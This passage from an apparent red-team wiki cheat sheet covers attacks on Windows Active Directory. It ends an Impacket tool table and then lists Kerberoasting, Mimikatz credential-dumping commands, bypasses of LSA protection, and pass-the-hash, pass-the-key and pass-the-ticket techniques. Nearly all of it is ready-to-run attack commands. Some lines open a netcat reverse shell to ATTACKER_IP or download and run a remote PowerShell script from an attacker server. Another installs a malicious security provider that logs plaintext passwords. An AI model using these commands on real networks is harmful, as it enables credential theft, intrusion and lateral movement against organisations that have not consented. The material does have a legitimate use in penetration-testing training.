| Provides a mini shell to control a remote mimikatz RPC server.&lt;br /&gt;
|-&lt;br /&gt;
| Server Tools/MiTM Attacks&lt;br /&gt;
|&lt;br /&gt;
| Tools for performing MiTM (Man-in-the-Middle) attacks.&lt;br /&gt;
|-&lt;br /&gt;
| ntlmrelayx.py&lt;br /&gt;
| -t targetFile -tf targetFile -smb2support [-socks]&lt;br /&gt;
| Performs NTLM Relay Attacks, relaying credentials to various protocols. Supports predefined attacks and SOCKS mode.&lt;br /&gt;
|-&lt;br /&gt;
| karmaSMB.py&lt;br /&gt;
| -file fileContents -smb2support&lt;br /&gt;
| A SMB Server that answers specific file contents regardless of the SMB share and pathname specified.&lt;br /&gt;
|-&lt;br /&gt;
| smbserver.py&lt;br /&gt;
| -share shareName -smb2support -username user -password pass&lt;br /&gt;
| A Python implementation of an SMB server. Allows setting up shares and user accounts.&lt;br /&gt;
|-&lt;br /&gt;
| WMI&lt;br /&gt;
|&lt;br /&gt;
| Tools for working with Windows Management Instrumentation (WMI).&lt;br /&gt;
|-&lt;br /&gt;
| wmiquery.py&lt;br /&gt;
| -target-ip ip -username user -password pass [-hashes LMHASH:NTHASH] -query query&lt;br /&gt;
| Issues WQL queries and gets descriptions of WMI objects at the target system.&lt;br /&gt;
|-&lt;br /&gt;
| wmipersist.py&lt;br /&gt;
| -target-ip ip -username user -password pass -query query [-interval interval]&lt;br /&gt;
| Creates/removes a WMI Event Consumer/Filter and executes Visual Basic based on the WQL filter or timer specified.&lt;br /&gt;
|-&lt;br /&gt;
| Known Vulnerabilities&lt;br /&gt;
|&lt;br /&gt;
| Tools for exploiting known vulnerabilities.&lt;br /&gt;
|-&lt;br /&gt;
| goldenPac.py&lt;br /&gt;
| -target-ip ip -user user -password pass [-hashes LMHASH:NTHASH]&lt;br /&gt;
| Exploits MS14-068, saves the golden ticket, and launches a PSEXEC session at the target.&lt;br /&gt;
|-&lt;br /&gt;
| sambaPipe.py&lt;br /&gt;
| -target-ip ip -user user -password pass -so soFile&lt;br /&gt;
| Exploits CVE-2017-7494, uploads and executes a shared library specified by the user.&lt;br /&gt;
|-&lt;br /&gt;
| smbrelayx.py&lt;br /&gt;
| -target-ip ip -user user -password pass -command command&lt;br /&gt;
| Exploits CVE-2015-0005 using an SMB Relay Attack. Tries to gather the SMB session key through NETLOGON.&lt;br /&gt;
|-&lt;br /&gt;
| SMB/MSRPC&lt;br /&gt;
|&lt;br /&gt;
| Tools for working with SMB and MSRPC.&lt;br /&gt;
|-&lt;br /&gt;
| smbclient.py&lt;br /&gt;
| -target-ip ip -username user -password pass [-hashes LMHASH:NTHASH] -list&lt;br /&gt;
| A generic SMB client for listing shares and files, renaming, uploading, downloading files, and creating/deleting directories.&lt;br /&gt;
|-&lt;br /&gt;
| addcomputer.py&lt;br /&gt;
| -target-ip ip -username user -password pass [-hashes LMHASH:NTHASH] -computer computerName -domain domainName&lt;br /&gt;
| Adds a computer to a domain using LDAP or SAMR (SMB).&lt;br /&gt;
|-&lt;br /&gt;
| getArch.py&lt;br /&gt;
| -target target -username user -password pass [-hashes LMHASH:NTHASH]&lt;br /&gt;
| Connects to a target machine and gathers the OS architecture type using MSRPC.&lt;br /&gt;
|-&lt;br /&gt;
| exchanger.py&lt;br /&gt;
| -target target -username user -password pass [-hashes LMHASH:NTHASH]&lt;br /&gt;
| Connects to MS Exchange via RPC over HTTP v2.&lt;br /&gt;
|-&lt;br /&gt;
| lookupsid.py&lt;br /&gt;
| -target target -username user -password pass [-hashes LMHASH:NTHASH]&lt;br /&gt;
| A Windows SID brute forcer aiming to find remote users/groups using MSRPC Interface.&lt;br /&gt;
|-&lt;br /&gt;
| netview.py&lt;br /&gt;
| -target target -username user -password pass [-hashes LMHASH:NTHASH]&lt;br /&gt;
| Gets a list of sessions opened at remote hosts and keeps track of them.&lt;br /&gt;
|-&lt;br /&gt;
| reg.py&lt;br /&gt;
| -target target -username user -password pass [-hashes LMHASH:NTHASH] -command command&lt;br /&gt;
| A remote registry manipulation tool through the MSRPC Interface.&lt;br /&gt;
|-&lt;br /&gt;
| rpcdump.py&lt;br /&gt;
| -target target -username user -password pass [-hashes LMHASH:NTHASH]&lt;br /&gt;
| Dumps the list of RPC endpoints and string bindings registered at the target.&lt;br /&gt;
|-&lt;br /&gt;
| rpcmap.py&lt;br /&gt;
| -target target -username user -password pass [-hashes LMHASH:NTHASH]&lt;br /&gt;
| Scans for listening DCE/RPC interfaces and gets a list of interface UUIDs.&lt;br /&gt;
|-&lt;br /&gt;
| samrdump.py&lt;br /&gt;
| -target target -username user -password pass [-hashes LMHASH:NTHASH]&lt;br /&gt;
| Communicates with the Security Account Manager Remote interface to list system user accounts, available resource shares, and other sensitive information.&lt;br /&gt;
|-&lt;br /&gt;
| services.py&lt;br /&gt;
| -target target -username user -password pass [-hashes LMHASH:NTHASH] -action action&lt;br /&gt;
| Manipulates Windows services through the MSRPC Interface, supporting start, stop, delete, status, config, list, create, and change operations.&lt;br /&gt;
|-&lt;br /&gt;
| smbpasswd.py&lt;br /&gt;
| -target target -username user -password pass -newpassword newpass&lt;br /&gt;
| An alternative to smbpasswd for changing expired passwords remotely over SMB (MSRPC-SAMR).&lt;br /&gt;
|-&lt;br /&gt;
| MSSQL / TDS&lt;br /&gt;
|&lt;br /&gt;
| Tools for working with MSSQL and TDS.&lt;br /&gt;
|-&lt;br /&gt;
| mssqlinstance.py&lt;br /&gt;
| -target target -username user -password pass [-hashes LMHASH:NTHASH]&lt;br /&gt;
| Retrieves MSSQL instance names from the target host.&lt;br /&gt;
|-&lt;br /&gt;
| mssqlclient.py&lt;br /&gt;
| -target-ip ip -username user -password pass [-hashes LMHASH:NTHASH] -database database [-query query]&lt;br /&gt;
| An MSSQL client supporting SQL and Windows Authentications, including TLS.&lt;br /&gt;
|-&lt;br /&gt;
| File Formats&lt;br /&gt;
|&lt;br /&gt;
| Tools for working with various file formats.&lt;br /&gt;
|-&lt;br /&gt;
| esentutl.py&lt;br /&gt;
| -file file -action action&lt;br /&gt;
| An Extensible Storage Engine format implementation for dumping catalog, pages, and tables of ESE databases (e.g., NTDS.dit).&lt;br /&gt;
|-&lt;br /&gt;
| ntfs-read.py&lt;br /&gt;
| -target target -path path [-recursive] -output outputDir&lt;br /&gt;
| An NTFS format implementation providing a mini shell for browsing and extracting an NTFS volume, including hidden/locked contents.&lt;br /&gt;
|-&lt;br /&gt;
| registry-read.py&lt;br /&gt;
| -file hiveFile -key registryKey -recursive&lt;br /&gt;
| A Windows Registry file format implementation for parsing offline registry hives.&lt;br /&gt;
|-&lt;br /&gt;
| Other&lt;br /&gt;
|&lt;br /&gt;
| Miscellaneous tools.&lt;br /&gt;
|-&lt;br /&gt;
| findDelegation.py&lt;br /&gt;
| -dc-ip ip -user user -password pass&lt;br /&gt;
| Lists all delegation relationships (unconstrained, constrained, resource-based constrained) in an AD environment.&lt;br /&gt;
|-&lt;br /&gt;
| GetADUsers.py&lt;br /&gt;
| -dc-ip ip -user user -password pass [-hashes LMHASH:NTHASH] -outputfile outputFile&lt;br /&gt;
| Gathers data about the domain&#039;s users and their corresponding email addresses, including last logon and last password set attributes.&lt;br /&gt;
|-&lt;br /&gt;
| Get-GPPPassword.py&lt;br /&gt;
| -gpp gppFile -output outputDir&lt;br /&gt;
| Extracts and decrypts Group Policy Preferences passwords using streams for treating files instead of mounting shares. Can parse GPP XML files offline.&lt;br /&gt;
|-&lt;br /&gt;
| mqtt_check.py&lt;br /&gt;
| -target target -port port -users usersFile -passwords passwordsFile&lt;br /&gt;
| A simple MQTT example for testing different login options and can be adapted for brute force attacks.&lt;br /&gt;
|-&lt;br /&gt;
| rdp_check.py&lt;br /&gt;
| -target target -port port -users usersFile -passwords passwordsFile&lt;br /&gt;
| A partial implementation of [MS-RDPBCGR] and [MS-CREDSSP] to test whether an account is valid on the target host.&lt;br /&gt;
|-&lt;br /&gt;
| sniff.py&lt;br /&gt;
| -interface interface -count count&lt;br /&gt;
| A simple packet sniffer using the pcapy library to listen for packets in transit over the specified interface.&lt;br /&gt;
|-&lt;br /&gt;
| sniffer.py&lt;br /&gt;
| -interface interface -count count [-protocols protocols]&lt;br /&gt;
| A simple packet sniffer using a raw socket to listen for packets in transit corresponding to the specified protocols.&lt;br /&gt;
|-&lt;br /&gt;
| ping.py&lt;br /&gt;
| -target target -count count&lt;br /&gt;
| A simple ICMP ping tool using ICMP echo and echo-reply packets to check the status of a host.&lt;br /&gt;
|-&lt;br /&gt;
| ping6.py&lt;br /&gt;
| -target target -count count&lt;br /&gt;
| A simple IPv6 ICMP ping tool using ICMP echo and echo-reply packets to check the status of a host.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Kerberoast ==&lt;br /&gt;
&lt;br /&gt;
All standard domain users can request a copy of all service accounts along with their correlating password hashes, so we can ask a TGS for any SPN that is bound to a &amp;quot;user&amp;quot;&lt;br /&gt;
account, extract the encrypted blob that was encrypted using the user&#039;s password and bruteforce it offline.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
## PowerView:&lt;br /&gt;
#Get User Accounts that are used as Service Accounts&lt;br /&gt;
Get-NetUser -SPN&lt;br /&gt;
#Get every available SPN account, request a TGS and dump its hash&lt;br /&gt;
Invoke-Kerberoast&lt;br /&gt;
#Requesting the TGS for a single account:&lt;br /&gt;
Request-SPNTicket&lt;br /&gt;
#Export all tickets using Mimikatz&lt;br /&gt;
Invoke-Mimikatz -Command &#039;&amp;quot;kerberos::list /export&amp;quot;&#039;&lt;br /&gt;
&lt;br /&gt;
## AD Module:&lt;br /&gt;
#Get User Accounts that are used as Service Accounts&lt;br /&gt;
Get-ADUser -Filter {ServicePrincipalName -ne &amp;quot;$null&amp;quot;} -Properties ServicePrincipalName&lt;br /&gt;
&lt;br /&gt;
## Impacket:&lt;br /&gt;
python GetUserSPNs.py /: -outputfile&lt;br /&gt;
&lt;br /&gt;
## Rubeus:&lt;br /&gt;
#Kerberoasting and outputing on a file with a spesific format&lt;br /&gt;
Rubeus.exe kerberoast /outfile: /domain:&lt;br /&gt;
#Kerberoasting whle being &amp;quot;OPSEC&amp;quot; safe, essentially while not try to roast AES enabled accounts&lt;br /&gt;
Rubeus.exe kerberoast /outfile: /domain: /rc4opsec&lt;br /&gt;
#Kerberoast AES enabled accounts&lt;br /&gt;
Rubeus.exe kerberoast /outfile: /domain: /aes&lt;br /&gt;
#Kerberoast spesific user account&lt;br /&gt;
Rubeus.exe kerberoast /outfile: /domain: /user: /simple&lt;br /&gt;
#Kerberoast by specifying the authentication credentials&lt;br /&gt;
Rubeus.exe kerberoast /outfile: /domain: /creduser: /credpassword:&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Mimikatz ALL COMMANDS ==&lt;br /&gt;
&lt;br /&gt;
Source: https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet#mimikatz&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#The commands are in cobalt strike format!&lt;br /&gt;
#Dump LSASS:&lt;br /&gt;
mimikatz privilege::debug&lt;br /&gt;
mimikatz token::elevate&lt;br /&gt;
mimikatz sekurlsa::logonpasswords&lt;br /&gt;
#(Over) Pass The Hash&lt;br /&gt;
mimikatz privilege::debug&lt;br /&gt;
mimikatz sekurlsa::pth /user: /ntlm:&amp;lt;&amp;gt; /domain:&lt;br /&gt;
#List all available kerberos tickets in memory&lt;br /&gt;
mimikatz sekurlsa::tickets&lt;br /&gt;
#Dump local Terminal Services credentials&lt;br /&gt;
mimikatz sekurlsa::tspkg&lt;br /&gt;
#Dump and save LSASS in a file&lt;br /&gt;
mimikatz sekurlsa::minidump c:\temp\lsass.dmp&lt;br /&gt;
#List cached MasterKeys&lt;br /&gt;
mimikatz sekurlsa::dpapi&lt;br /&gt;
#List local Kerberos AES Keys&lt;br /&gt;
mimikatz sekurlsa::ekeys&lt;br /&gt;
#Dump SAM Database&lt;br /&gt;
mimikatz lsadump::sam&lt;br /&gt;
#Dump SECRETS Database&lt;br /&gt;
mimikatz lsadump::secrets&lt;br /&gt;
#Inject and dump the Domain Controler&#039;s Credentials&lt;br /&gt;
mimikatz privilege::debug&lt;br /&gt;
mimikatz token::elevate&lt;br /&gt;
mimikatz lsadump::lsa /inject&lt;br /&gt;
#Dump the Domain&#039;s Credentials without touching DC&#039;s LSASS and also remotely&lt;br /&gt;
mimikatz lsadump::dcsync /domain: /all&lt;br /&gt;
#List and Dump local kerberos credentials&lt;br /&gt;
mimikatz kerberos::list /dump&lt;br /&gt;
#Pass The Ticket&lt;br /&gt;
mimikatz kerberos::ptt&lt;br /&gt;
#List TS/RDP sessions&lt;br /&gt;
mimikatz ts::sessions&lt;br /&gt;
#List Vault credentials&lt;br /&gt;
mimikatz vault::list&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== LSA Protection ===&lt;br /&gt;
&lt;br /&gt;
What if mimikatz fails to dump credentials because of LSA Protection controls ?&lt;br /&gt;
&lt;br /&gt;
* LSA as a Protected Process (Kernel Land Bypass)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#Check if LSA runs as a protected process by looking if the variable &amp;quot;RunAsPPL&amp;quot; is set to 0x1&lt;br /&gt;
reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa&lt;br /&gt;
#Next upload the mimidriver.sys from the official mimikatz repo to same folder of your mimikatz.exe&lt;br /&gt;
#Now lets import the mimidriver.sys to the system&lt;br /&gt;
mimikatz # !+&lt;br /&gt;
#Now lets remove the protection flags from lsass.exe process&lt;br /&gt;
mimikatz # !processprotect /process:lsass.exe /remove&lt;br /&gt;
#Finally run the logonpasswords function to dump lsass&lt;br /&gt;
mimikatz # sekurlsa::logonpasswords&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* LSA as a Protected Process (Userland &amp;quot;Fileless&amp;quot; Bypass)&lt;br /&gt;
[https://github.com/itm4n/PPLdump PPLdump]&lt;br /&gt;
&lt;br /&gt;
* [https://blog.scrt.ch/2021/04/22/bypassing-lsa-protection-in-userland Bypassing LSA Protection in Userland]&lt;br /&gt;
&lt;br /&gt;
* LSA is running as virtualized process (LSAISO) by Credential Guard&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#Check if a process called lsaiso.exe exists on the running processes&lt;br /&gt;
tasklist |findstr lsaiso&lt;br /&gt;
#If it does there isn&#039;t a way tou dump lsass, we will only get encrypted data. But we can still use keyloggers or clipboard dumpers to capture data.&lt;br /&gt;
#Lets inject our own malicious Security Support Provider into memory, for this example i&#039;ll use the one mimikatz provides&lt;br /&gt;
mimikatz # misc::memssp&lt;br /&gt;
#Now every user session and authentication into this machine will get logged and plaintext credentials will get captured and dumped into c:\windows\system32\mimilsa.log&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* [https://adsecurity.org/?page_id=1821 Detailed Mimikatz Guide]&lt;br /&gt;
&lt;br /&gt;
* [https://medium.com/red-teaming-with-a-blue-team-mentaility/poking-around-with-2-lsass-protection-options-880590a72b1a Poking Around With 2 lsass Protection Options]&lt;br /&gt;
&lt;br /&gt;
== Pass the Hash ==&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/windows-hardening/ntlm#pass-the-hash https://book.hacktricks.xyz/windows-hardening/ntlm#pass-the-hash]&lt;br /&gt;
&lt;br /&gt;
https://www.hackingarticles.in/lateral-movement-pass-the-hash-attack/&lt;br /&gt;
&lt;br /&gt;
Once you have the hash of the victim, you can use it to impersonate it.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Mimikatz&lt;br /&gt;
# This will launch a process that will belongs to the users that have launch mimikatz but internally in LSASS the saved credentials are the ones inside the mimikatz parameters. Then, you can access to network resources as if you where that user (similar to the runas /netonly trick but you don&#039;t need to know the plain-text password).&lt;br /&gt;
# 1&lt;br /&gt;
Invoke-Mimikatz -Command &#039;&amp;quot;sekurlsa::pth /user:username /domain:domain.tld /ntlm:NTLMhash /run:powershell.exe&amp;quot;&#039;&lt;br /&gt;
# 2&lt;br /&gt;
privilege::debug&lt;br /&gt;
sekurlsa::pth /user:Administrator /domain:ignite.local /ntlm:32196B56FFE6F45E294117B91A83BF38&lt;br /&gt;
------------------------------------------------------------------&lt;br /&gt;
# Pass-the-hash from linux&lt;br /&gt;
# Connect via psexec using PTH&lt;br /&gt;
psexec.py -hashed LM:NT user@ip&lt;br /&gt;
python3 psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6 administrator@10.10.10.161&lt;br /&gt;
# Connect to RDP using PTH&lt;br /&gt;
xfreerdp /v:VICTIM_IP /u:DOMAIN\\MyUser /pth:NTLM_HASH&lt;br /&gt;
# Pass the hash with evil-winrm&lt;br /&gt;
evil-winrm -u  -H  -i&lt;br /&gt;
# SMBclient&lt;br /&gt;
python smbclient.py -hashes 00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38 ignite/Administrator@192.168.1.105&lt;br /&gt;
# Crackmapexec&lt;br /&gt;
crackmapexec smb 192.168.1.105 -u Administrator -H 32196B56FFE6F45E294117B91A83BF38 -x ipconfig&lt;br /&gt;
# rpcdump&lt;br /&gt;
python rpcdump.py -hashes 00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38 ignite/Administrator@192.168.1.105&lt;br /&gt;
# MSSQL&lt;br /&gt;
impacket-mssqlclient administrator@192.168.231.140 -hashes :5c3e856f452d9cecc5801a954ab22122 -windows-auth&lt;br /&gt;
/opt/MSSqlPwner/MSSqlPwner.py administrator@192.168.231.140 -hashes :5c3e856f452d9cecc5801a954ab22122 -windows-auth interactive&lt;br /&gt;
&lt;br /&gt;
---------------------------------------------------------------&lt;br /&gt;
# PTH toolkit builtin in Kali linux&lt;br /&gt;
# smbclinet&lt;br /&gt;
pth-smbclient -U test.local/Administrator%00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38 //192.168.1.105/c$&lt;br /&gt;
# wmic&lt;br /&gt;
pth-wmic -U test.local/Administrator%00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38 //192.168.1.105 &amp;quot;select Name from Win32_UserAccount&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# rpcclient&lt;br /&gt;
pth-rpcclient -U test.local/Administrator%00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38 //192.168.1.105&lt;br /&gt;
# net&lt;br /&gt;
pth-net rpc share list -U &#039;ignite\Administrator%00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38&#039; -S 192.168.1.105&lt;br /&gt;
# curl&lt;br /&gt;
pth-curl --ntlm -u Administrator:32196B56FFE6F45E294117B91A83BF38 http://192.168.1.105/file.txt&lt;br /&gt;
------------------------------------------------------------------&lt;br /&gt;
# Impacket Windows compiled tools&lt;br /&gt;
psexec_windows.exe C:\AD\MyTools\psexec_windows.exe -hashes &amp;quot;:b38ff50264b74508085d82c69794a4d8&amp;quot; svcadmin@dcorp-mgmt.my.domain.local&lt;br /&gt;
# From SysInternals&lt;br /&gt;
PsExec.exe -i -u domain\user cmd.exe&lt;br /&gt;
wmiexec.exe wmiexec_windows.exe -hashes &amp;quot;:b38ff50264b74508085d82c69794a4d8&amp;quot; svcadmin@dcorp-mgmt.dollarcorp.moneycorp.local&lt;br /&gt;
atexec.exe (In this case you need to specify a command, cmd.exe and powershell.exe are not valid to obtain an interactive shell)C:\AD\MyTools\atexec_windows.exe -hashes &amp;quot;:b38ff50264b74508085d82c69794a4d8&amp;quot; svcadmin@dcorp-mgmt.dollarcorp.moneycorp.local &#039;whoami&#039;&lt;br /&gt;
# Powershell wmiexec&lt;br /&gt;
https://raw.githubusercontent.com/Kevin-Robertson/Invoke-TheHash/master/Invoke-WMIExec.ps1&lt;br /&gt;
Invoke-WMIExec -Target 192.168.1.105 -Domain test.local -Username Administrator -Hash 32196B56FFE6F45E294117B91A83BF38 -Command &amp;quot;cmd /c mkdir c:\hacked&amp;quot; -Verbose&lt;br /&gt;
------------------------------------------------------------------&lt;br /&gt;
# Invoke-TheHash&lt;br /&gt;
https://github.com/Kevin-Robertson/Invoke-TheHash&lt;br /&gt;
# Invoke-SMBExec&lt;br /&gt;
Invoke-SMBExec -Target dcorp-mgmt.my.domain.local -Domain my.domain.local -Username username -Hash b38ff50264b74508085d82c69794a4d8 -Command &#039;powershell -ep bypass -Command &amp;quot;iex(iwr http://172.16.100.114:8080/pc.ps1 -UseBasicParsing)&amp;quot;&#039; -verbose&lt;br /&gt;
# Invoke-WMIExec&lt;br /&gt;
Invoke-SMBExec -Target dcorp-mgmt.my.domain.local -Domain my.domain.local -Username username -Hash b38ff50264b74508085d82c69794a4d8 -Command &#039;powershell -ep bypass -Command &amp;quot;iex(iwr http://172.16.100.114:8080/pc.ps1 -UseBasicParsing)&amp;quot;&#039; -verbose&lt;br /&gt;
# Invoke-SMBClient&lt;br /&gt;
Invoke-SMBClient -Domain dollarcorp.moneycorp.local -Username svcadmin -Hash b38ff50264b74508085d82c69794a4d8 [-Action Recurse] -Source \\dcorp-mgmt.my.domain.local\C$\ -verbose&lt;br /&gt;
# Invoke-SMBEnum&lt;br /&gt;
Invoke-SMBEnum -Domain dollarcorp.moneycorp.local -Username svcadmin -Hash b38ff50264b74&lt;br /&gt;
&lt;br /&gt;
------------------------------------------------------------------&lt;br /&gt;
# Powershell Empire&lt;br /&gt;
usemodule lateral_movement/invoke_smbexec&lt;br /&gt;
set ComputerName WIN-S0V7KMTVLD2.ignite.local&lt;br /&gt;
set Username Administrator&lt;br /&gt;
set Hash 00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38&lt;br /&gt;
set Listener http&lt;br /&gt;
execute&lt;br /&gt;
&lt;br /&gt;
-----------------------------------------------------------------&lt;br /&gt;
# Metasploit&lt;br /&gt;
use exploit/windows/smb/psexec&lt;br /&gt;
set rhosts 192.168.1.105&lt;br /&gt;
set smbuser administrator&lt;br /&gt;
set smbdomain test.local&lt;br /&gt;
set smbpass 00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38&lt;br /&gt;
exploit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Over Pass the Hash/Pass the key (PTK) ==&lt;br /&gt;
&lt;br /&gt;
This attack aims to &#039;&#039;&#039;use the user NTLM hash to request Kerberos tickets&#039;&#039;&#039;, as an alternative to the common Pass The Hash over NTLM protocol. Therefore, this could be especially &#039;&#039;&#039;useful in networks where NTLM protocol is disabled&#039;&#039;&#039; and only &#039;&#039;&#039;Kerberos is allowed&#039;&#039;&#039; as authentication protocol.&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/windows-hardening/active-directory-methodology#over-pass-the-hash-pass-the-key https://book.hacktricks.xyz/windows-hardening/active-directory-methodology#over-pass-the-hash-pass-the-key]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# We need the NTLM hash or password of the target user account in order to perform this attack. When hash is obtained we can request a TGT. We can access any service or machine where the user account has permission.&lt;br /&gt;
python getTGT.py jurassic.park/velociraptor -hashes :2a3de7fe356ee524cc9f3d579f2e0aa7&lt;br /&gt;
export KRB5CCNAME=/root/impacket-examples/velociraptor.ccache&lt;br /&gt;
python psexec.py jurassic.park/velociraptor@labwws02.jurassic.park -k -no-pass&lt;br /&gt;
-aesKey [AES Key] to specify to use AES256&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Pass the Ticket ==&lt;br /&gt;
&lt;br /&gt;
Similar to PTK, but instead we steal the ticket and use it to authenticate as its owner.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
.\Rubeus.exe asktgt /domain:jurassic.park /user:velociraptor /rc4:2a3de7fe356ee524cc9f3d579f2e0aa7 /ptt&lt;br /&gt;
.\PsExec.exe -accepteula \\labwws02.jurassic.park cmd&lt;br /&gt;
&lt;br /&gt;
# Swapping Linux and Windows tickets between platforms&lt;br /&gt;
https://github.com/Zer1t0/ticket_converter (Ticket converter script)&lt;br /&gt;
# Only param needed is current ticket and output file.&lt;br /&gt;
root@kali:ticket_converter# python ticket_converter.py velociraptor.ccache velociraptor.kirbi&lt;br /&gt;
Converting ccache =&amp;gt; kirbi&lt;br /&gt;
root@kali:ticket_converter# python ticket_converter.py velociraptor.kirbi velociraptor.ccache&lt;br /&gt;
Converting kirbi =&amp;gt; ccache&lt;br /&gt;
# To convert in windows, use Kekeo https://github.com/gentilkiwi/kekeo&lt;br /&gt;
-----------------------------------------------------------------------&lt;br /&gt;
# Pass the ticket attack&lt;br /&gt;
# Linux&lt;br /&gt;
export KRB5CCNAME=/root/impacket-examples/krb5cc_1120601113_ZFxZpK&lt;br /&gt;
python psexec.py jurassic.park/trex@labwws02.jurassic.park -k -no-pass&lt;br /&gt;
# Windows&lt;br /&gt;
# Load the ticket in memory using mimikatz or Rubeus&lt;br /&gt;
mimikatz.exe &amp;quot;kerberos::ptt [0;28419fe]-2-1-40e00000-trex@krbtgt-JURASSIC.PARK.kirbi&amp;quot;&lt;br /&gt;
.\Rubeus.exe ptt /ticket:[0;28419fe]-2-1-40e00000-trex@krbtgt-JURASSIC.PARK.kirbi&lt;br /&gt;
klist #List tickets in cache to cehck that mimikatz has loaded the ticket&lt;br /&gt;
.\PsExec.exe -accepteula \\lab-wdc01.jurassic.park cmd&lt;br /&gt;
&lt;br /&gt;
-----------------------------------------------------------------------&lt;br /&gt;
# We can obtain the Kerberos encryption keys from memory by using mimikatz with the following commands:&lt;br /&gt;
mimikatz # privilege::debug&lt;br /&gt;
mimikatz # sekurlsa::ekeys&lt;br /&gt;
# Depending on the available keys, we can run the following commands on mimikatz to get a reverse shell via Pass-the-Key:&lt;br /&gt;
# If we have the RC4 hash:&lt;br /&gt;
mimikatz# sekurlsa::pth /user:Administrator /domain:za.tryhackme.com /rc4:96ea24eff4dff1fbe13818fbf12ea7d8 /run:&amp;quot;c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5556&amp;quot;&lt;br /&gt;
# If we have the AES128 hash:&lt;br /&gt;
mimikatz# sekurlsa::pth /user:Administrator /domain:za.tryhackme.com /aes128:b65ea8151f13a31d01377f5934bf3883 /run:&amp;quot;c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5556&amp;quot;&lt;br /&gt;
# If we have the AES256 hash:&lt;br /&gt;
mimikatz# sekurlsa::pth /user:Administrator /domain:za.tryhackme.com /aes256:b54259bbff03af8d37a138c375e29254a2ca0649337cc4c73addcd696b4cdb65 /run:&amp;quot;c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5556&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== LAPS ==&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/laps https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/laps]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/leoloobeek/LAPSToolkit&lt;br /&gt;
# Get groups that can read passwords&lt;br /&gt;
Find-LAPSDelegatedGroups&lt;br /&gt;
OrgUnit                                           Delegated Groups&lt;br /&gt;
-------                                           ----------------&lt;br /&gt;
OU=Servers,DC=DOMAIN_NAME,DC=LOCAL                DOMAIN_NAME\Domain Admins&lt;br /&gt;
OU=Workstations,DC=DOMAIN_NAME,DC=LOCAL           DOMAIN_NAME\LAPS Admin&lt;br /&gt;
# Checks the rights on each computer with LAPS enabled for any groups&lt;br /&gt;
# with read access and users with &amp;quot;All Extended Rights&amp;quot;&lt;br /&gt;
Find-AdmPwdExtendedRights&lt;br /&gt;
ComputerName                Identity                    Reason&lt;br /&gt;
------------                --------                    ------&lt;br /&gt;
MSQL01.DOMAIN_NAME.LOCAL    DOMAIN_NAME\Domain Admins   Delegated&lt;br /&gt;
MSQL01.DOMAIN_NAME.LOCAL    DOMAIN_NAME\LAPS Admins     Delegated&lt;br /&gt;
# Get computers with LAPS enabled, expirations time and the password (if you have access)&lt;br /&gt;
Get-LAPSComputers&lt;br /&gt;
ComputerName                Password       Expiration&lt;br /&gt;
------------                --------       ----------&lt;br /&gt;
DC01.DOMAIN_NAME.LOCAL      j&amp;amp;gR+A(s976Rf% 12/10/2022 13:24:41&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== MSSQL Trusted Links ==&lt;br /&gt;
&lt;br /&gt;
If a user has privileges to &#039;&#039;&#039;access MSSQL instances&#039;&#039;&#039;, he could be able to use it to &#039;&#039;&#039;execute commands&#039;&#039;&#039; in the MSSQL host (if running as SA).&lt;br /&gt;
&lt;br /&gt;
